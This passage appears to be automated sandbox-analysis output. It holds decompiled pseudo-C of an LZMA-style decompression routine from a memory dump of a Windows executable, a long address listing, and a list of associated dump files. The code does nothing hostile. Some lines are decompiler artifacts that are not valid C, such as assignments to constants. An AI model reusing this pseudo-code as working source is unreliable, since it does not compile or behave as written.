												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												L68:
												_t614 =  *(_t621 - 0x58);
												 *(_t621 - 0x84) = 0x12;
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t621 - 0x88) = _t542;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t621 - 0x88) = _t542;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L79;
											case 0x1b:
												L75:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t274 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t274;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t283 = __ebp - 0x64;
												 *_t283 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t283;
												 *( *(__ebp - 0x68)) = __cl;
												L79:
												 *(__ebp - 0x14) = __edx;
												goto L80;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L80:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t544 = _t543 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406d91
0x00406d91
0x00406d95
0x00406db6
0x00406dbd
0x00406dc3
0x00406dc9
0x00406ddb
0x00406de1
0x00406de6
0x00000000
0x00406d97
0x00406d9d
0x0040715e
0x0040715e
0x0040715e
0x00407161
0x00407161
0x00407161
0x00407167
0x0040716d
0x00407173
0x0040718d
0x00407190
0x00407196
0x004071a1
0x004071a3
0x00407175
0x00407175
0x00407184
0x00407188
0x00407188
0x004071ad
0x00000000
0x00000000
0x004071af
0x004071b3
0x00407362
0x00407378
0x00407380
0x00407387
0x00407389
0x00407390
0x00407394
0x00407394
0x004071bf
0x004071c6
0x004071ce
0x004071d1
0x004071d4
0x004071d4
0x004071da
0x004071da
0x00406976
0x00406976
0x00406976
0x0040697f
0x00000000
0x00000000
0x00406985
0x00000000
0x00406990
0x00000000
0x00000000
0x00406999
0x0040699c
0x0040699f
0x004069a3
0x00000000
0x00000000
0x004069a9
0x004069ac
0x004069ae
0x004069af
0x004069b2
0x004069b4
0x004069b5
0x004069b7
0x004069ba
0x004069bf
0x004069c4
0x004069cd
0x004069e0
0x004069e3
0x004069ef
0x00406a17
0x00406a19
0x00406a27
0x00406a27
0x00406a2b
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a1b
0x00406a1b
0x00406a1e
0x00406a1f
0x00406a1f
0x00000000
0x00406a1b
0x004069f5
0x004069fa
0x004069fa
0x00406a03
0x00406a0b
0x00406a0e
0x00000000
0x00406a14
0x00406a14
0x00000000
0x00406a14
0x00000000
0x00406a31
0x00406a31
0x00406a35
0x004072e1
0x00000000
0x004072e1
0x00406a3e
0x00406a4e
0x00406a51
0x00406a54
0x00406a54
0x00406a54
0x00406a57
0x00406a5b
0x00000000
0x00000000
0x00406a5d
0x00406a63
0x00406a8d
0x00406a93
0x00406a9a
0x00000000
0x00406a9a
0x00406a69
0x00406a6c
0x00406a71
0x00406a71
0x00406a7c
0x00406a84
0x00406a87
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406acc
0x00406ad2
0x00406ad5
0x00406ae2
0x00406aea
0x00000000
0x00000000
0x00406aa1
0x00406aa1
0x00406aa5
0x004072f0
0x00000000
0x004072f0
0x00406ab1
0x00406abc
0x00406abc
0x00406abc
0x00406abf
0x00406ac2
0x00406ac5
0x00406aca
0x00000000
0x00000000
0x00000000
0x00000000
0x00407161
0x00407161
0x00407167
0x0040716d
0x00407173
0x0040718d
0x00407190
0x00407196
0x004071a1
0x004071a3
0x00407175
0x00407175
0x00407184
0x00407188
0x00407188
0x004071ad
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406af2
0x00406af4
0x00406af7
0x00406b68
0x00406b6b
0x00406b6e
0x00406b75
0x00406b7f
0x0040715e
0x0040715e
0x00000000
0x0040715e
0x00406af9
0x00406afd
0x00406b00
0x00406b02
0x00406b05
0x00406b08
0x00406b0a
0x00406b0d
0x00406b0f
0x00406b14
0x00406b17
0x00406b1a
0x00406b1e
0x00406b25
0x00406b28
0x00406b2f
0x00406b33
0x00406b3b
0x00406b3b
0x00406b3b
0x00406b35
0x00406b35
0x00406b35
0x00406b2a
0x00406b2a
0x00406b2a
0x00406b3f
0x00406b42
0x00406b60
0x00406b62
0x00000000
0x00406b44
0x00406b44
0x00406b47
0x00406b4a
0x00406b4d
0x00406b4f
0x00406b4f
0x00406b4f
0x00406b52
0x00406b55
0x00406b57
0x00406b58
0x00406b5b
0x00000000
0x00406b5b
0x00000000
0x00000000
0x00000000
0x00406dfb
0x00406dff
0x00406e22
0x00406e25
0x00406e28
0x00406e32
0x00406e01
0x00406e01
0x00406e04
0x00406e07
0x00406e0a
0x00406e17
0x00406e1a
0x00406e1a
0x0040715e
0x0040715e
0x0040715e
0x00000000
0x0040715e
0x00000000
0x00406e3e
0x00406e42
0x00000000
0x00000000
0x00406e48
0x00406e4c
0x00000000
0x00000000
0x00406e52
0x00406e54
0x00406e58
0x00406e58
0x00406e5b
0x00406e5f
0x00000000
0x00000000
0x00406eaf
0x00406eb3
0x00406eba
0x00406ebd
0x00406ec0
0x00406eca
0x0040715e
0x0040715e
0x0040715e
0x00000000
0x0040715e
0x0040715e
0x00406eb5
0x00000000
0x00000000
0x00406ed6
0x00406eda
0x00406ee1
0x00406ee4
0x00406ee7
0x00406edc
0x00406edc
0x00406edc
0x00406eea
0x00406eed
0x00406ef0
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406ef9
0x00406efc
0x00406f03
0x00406f08
0x00000000
0x00000000
0x00406f96
0x00406f96
0x00406f9a
0x00407338
0x00000000
0x00407338
0x00406fa0
0x00406fa3
0x00406fa6
0x00406faa
0x00406fad
0x00406fb3
0x00406fb5
0x00406fb5
0x00406fb5
0x00406fb8
0x00406fbb
0x00000000
0x00000000
0x00406b8b
0x00406b8b
0x00406b8f
0x004072fc
0x00000000
0x004072fc
0x00406b95
0x00406b98
0x00406b9b
0x00406b9f
0x00406ba2
0x00406ba8
0x00406baa
0x00406baa
0x00406baa
0x00406bad
0x00406bb0
0x00406bb0
0x00406bb3
0x00406bb6
0x00000000
0x00000000
0x00406bbc
0x00406bc2
0x00000000
0x00000000
0x00406bc8
0x00406bc8
0x00406bcc
0x00406bcf
0x00406bd2
0x00406bd5
0x00406bd8
0x00406bd9
0x00406bdc
0x00406bde
0x00406be4
0x00406be7
0x00406bea
0x00406bed
0x00406bf0
0x00406bf3
0x00406bf6
0x00406c12
0x00406c15
0x00406c18
0x00406c1b
0x00406c22
0x00406c26
0x00406c28
0x00406c2c
0x00406bf8
0x00406bf8
0x00406bfc
0x00406c04
0x00406c09
0x00406c0b
0x00406c0d
0x00406c0d
0x00406c2f
0x00406c36
0x00406c39
0x00000000
0x00406c3f
0x00000000
0x00406c3f
0x00000000
0x00406c44
0x00406c44
0x00406c48
0x00407308
0x00000000
0x00407308
0x00406c4e
0x00406c51
0x00406c54
0x00406c58
0x00406c5b
0x00406c61
0x00406c63
0x00406c63
0x00406c63
0x00406c66
0x00406c69
0x00406c69
0x00406c69
0x00406c6f
0x00000000
0x00000000
0x00406c71
0x00406c74
0x00406c77
0x00406c7a
0x00406c7d
0x00406c80
0x00406c83
0x00406c86
0x00406c89
0x00406c8c
0x00406c8f
0x00406ca7
0x00406caa
0x00406cad
0x00406cb0
0x00406cb0
0x00406cb3
0x00406cb7
0x00406cb9
0x00406c91
0x00406c91
0x00406c99
0x00406c9e
0x00406ca0
0x00406ca2
0x00406ca2
0x00406cbc
0x00406cc3
0x00406cc6
0x00000000
0x00406cc8
0x00000000
0x00406cc8
0x00406cc6
0x00406ccd
0x00406ccd
0x00406ccd
0x00406ccd
0x00000000
0x00000000
0x00406d08
0x00406d08
0x00406d0c
0x00407314
0x00000000
0x00407314
0x00406d12
0x00406d15
0x00406d18
0x00406d1c
0x00406d1f
0x00406d25
0x00406d27
0x00406d27
0x00406d27
0x00406d2a
0x00406d2d
0x00406d2d
0x00406d33
0x00406cd1
0x00406cd1
0x00406cd4
0x00000000
0x00406cd4
0x00406d35
0x00406d35
0x00406d38
0x00406d3b
0x00406d3e
0x00406d41
0x00406d44
0x00406d47
0x00406d4a
0x00406d4d
0x00406d50
0x00406d53
0x00406d6b
0x00406d6e
0x00406d71
0x00406d74
0x00406d74
0x00406d77
0x00406d7b
0x00406d7d
0x00406d55
0x00406d55
0x00406d5d
0x00406d62
0x00406d64
0x00406d66
0x00406d66
0x00406d80
0x00406d87
0x00406d8a
0x00000000
0x00406d8c
0x00000000
0x00406d8c
0x00000000
0x00407019
0x00407019
0x0040701d
0x00407344
0x00000000
0x00407344
0x00407023
0x00407026
0x00407029
0x0040702d
0x00407030
0x00407036
0x00407038
0x00407038
0x00407038
0x0040703b
0x00000000
0x00000000
0x00406de9
0x00406de9
0x00406dec
0x0040715e
0x0040715e
0x0040715e
0x00000000
0x0040715e
0x00000000
0x00407128
0x0040712c
0x0040714e
0x00407151
0x0040715b
0x0040715e
0x0040715e
0x0040715e
0x00000000
0x0040715e
0x0040715e
0x0040712e
0x00407131
0x00407135
0x00407138
0x00407138
0x0040713b
0x00000000
0x00000000
0x004071e5
0x004071e9
0x00407207
0x00407207
0x00407207
0x0040720e
0x00407215
0x0040721c
0x0040721c
0x00000000
0x0040721c
0x004071eb
0x004071ee
0x004071f1
0x004071f4
0x004071fb
0x0040713f
0x0040713f
0x00407142
0x00000000
0x00000000
0x004072d6
0x004072d9
0x004071da
0x00000000
0x00000000
0x00406f10
0x00406f12
0x00406f19
0x00406f1a
0x00406f1c
0x00406f1f
0x00000000
0x00000000
0x00406f27
0x00406f2a
0x00406f2d
0x00406f2f
0x00406f31
0x00406f31
0x00406f32
0x00406f35
0x00406f3c
0x00406f3f
0x00406f4d
0x00000000
0x00000000
0x00407223
0x00407223
0x00407226
0x0040722d
0x00000000
0x00000000
0x00407232
0x00407232
0x00407236
0x0040736e
0x00000000
0x0040736e
0x0040723c
0x0040723f
0x00407242
0x00407246
0x00407249
0x0040724f
0x00407251
0x00407251
0x00407251
0x00407254
0x00407257
0x00407257
0x00407257
0x00407257
0x0040725a
0x0040725a
0x0040725e
0x004072be
0x004072c1
0x004072c6
0x004072c7
0x004072c9
0x004072cb
0x004072ce
0x004071da
0x004071da
0x00000000
0x004071e0
0x004071da
0x00407260
0x00407266
0x00407269
0x0040726c
0x0040726f
0x00407272
0x00407275
0x00407278
0x0040727b
0x0040727e
0x00407281
0x0040729a
0x0040729d
0x004072a0
0x004072a3
0x004072a7
0x004072a9
0x004072a9
0x004072aa
0x004072ad
0x00407283
0x00407283
0x0040728b
0x00407290
0x00407292
0x00407295
0x00407295
0x004072b0
0x004072b7
0x00000000
0x004072b9
0x00000000
0x004072b9
0x00000000
0x00406f55
0x00406f58
0x00406f8e
0x004070be
0x004070be
0x004070be
0x004070be
0x004070c1
0x004070c1
0x004070c4
0x004070c6
0x00407350
0x00000000
0x00407350
0x004070cc
0x004070cf
0x00000000
0x00000000
0x004070d5
0x004070d9
0x004070dc
0x004070dc
0x004070dc
0x00000000
0x004070dc
0x00406f5a
0x00406f5c
0x00406f5e
0x00406f60
0x00406f63
0x00406f64
0x00406f66
0x00406f68
0x00406f6b
0x00406f6e
0x00406f84
0x00406f89
0x00406fc1
0x00406fc1
0x00406fc5
0x00406ff1
0x00406ff3
0x00406ffa
0x00406ffd
0x00407000
0x00407000
0x00407005
0x00407005
0x00407007
0x0040700a
0x00407011
0x00407014
0x00407041
0x00407041
0x00407044
0x00407047
0x004070bb
0x004070bb
0x004070bb
0x00000000
0x004070bb
0x00407049
0x0040704f
0x00407052
0x00407055
0x00407058
0x0040705b
0x0040705e
0x00407061
0x00407064
0x00407067
0x0040706a
0x00407083
0x00407085
0x00407088
0x00407089
0x0040708c
0x0040708e
0x00407091
0x00407093
0x00407095
0x00407098
0x0040709a
0x0040709d
0x004070a1
0x004070a3
0x004070a3
0x004070a4
0x004070a7
0x004070aa
0x0040706c
0x0040706c
0x00407074
0x00407079
0x0040707b
0x0040707e
0x0040707e
0x004070ad
0x004070b4
0x0040703e
0x0040703e
0x0040703e
0x0040703e
0x00000000
0x004070b6
0x00000000
0x004070b6
0x004070b4
0x00406fc7
0x00406fca
0x00406fcc
0x00406fcf
0x00406fd2
0x00406fd5
0x00406fd7
0x00406fda
0x00406fdd
0x00406fdd
0x00406fe0
0x00406fe0
0x00406fe3
0x00406fea
0x00406fbe
0x00406fbe
0x00406fbe
0x00406fbe
0x00000000
0x00406fec
0x00000000
0x00406fec
0x00406fea
0x00406f70
0x00406f73
0x00406f75
0x00406f78
0x00000000
0x00000000
0x00406cd7
0x00406cd7
0x00406cdb
0x00407320
0x00000000
0x00407320
0x00406ce1
0x00406ce4
0x00406ce7
0x00406cea
0x00406ced
0x00406cf0
0x00406cf3
0x00406cf5
0x00406cf8
0x00406cfb
0x00406cfe
0x00406d00
0x00406d00
0x00406d00
0x00000000
0x00000000
0x00406e62
0x00406e62
0x00406e66
0x0040732c
0x00000000
0x0040732c
0x00406e6c
0x00406e6f
0x00406e72
0x00406e75
0x00406e77
0x00406e77
0x00406e77
0x00406e7a
0x00406e7d
0x00406e80
0x00406e83
0x00406e86
0x00406e89
0x00406e8a
0x00406e8c
0x00406e8c
0x00406e8c
0x00406e8f
0x00406e92
0x00406e95
0x00406e98
0x00406e98
0x00406e98
0x00406e9b
0x00406e9d
0x00406e9d
0x00000000
0x00000000
0x004070df
0x004070df
0x004070df
0x004070e3
0x00000000
0x00000000
0x004070e9
0x004070ec
0x004070ef
0x004070f2
0x004070f4
0x004070f4
0x004070f4
0x004070f7
0x004070fa
0x004070fd
0x00407100
0x00407103
0x00407106
0x00407107
0x00407109
0x00407109
0x00407109
0x0040710c
0x0040710f
0x00407112
0x00407115
0x00407118
0x0040711c
0x0040711e
0x00407121
0x00000000
0x00407123
0x00406ea0
0x00406ea0
0x00000000
0x00406ea0
0x00407121
0x00407356
0x00000000
0x00000000
0x00406985
0x0040738d
0x0040738d
0x00000000
0x0040738d
0x004071da
0x00407161
0x0040715e
0x00000000
0x00406d95

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

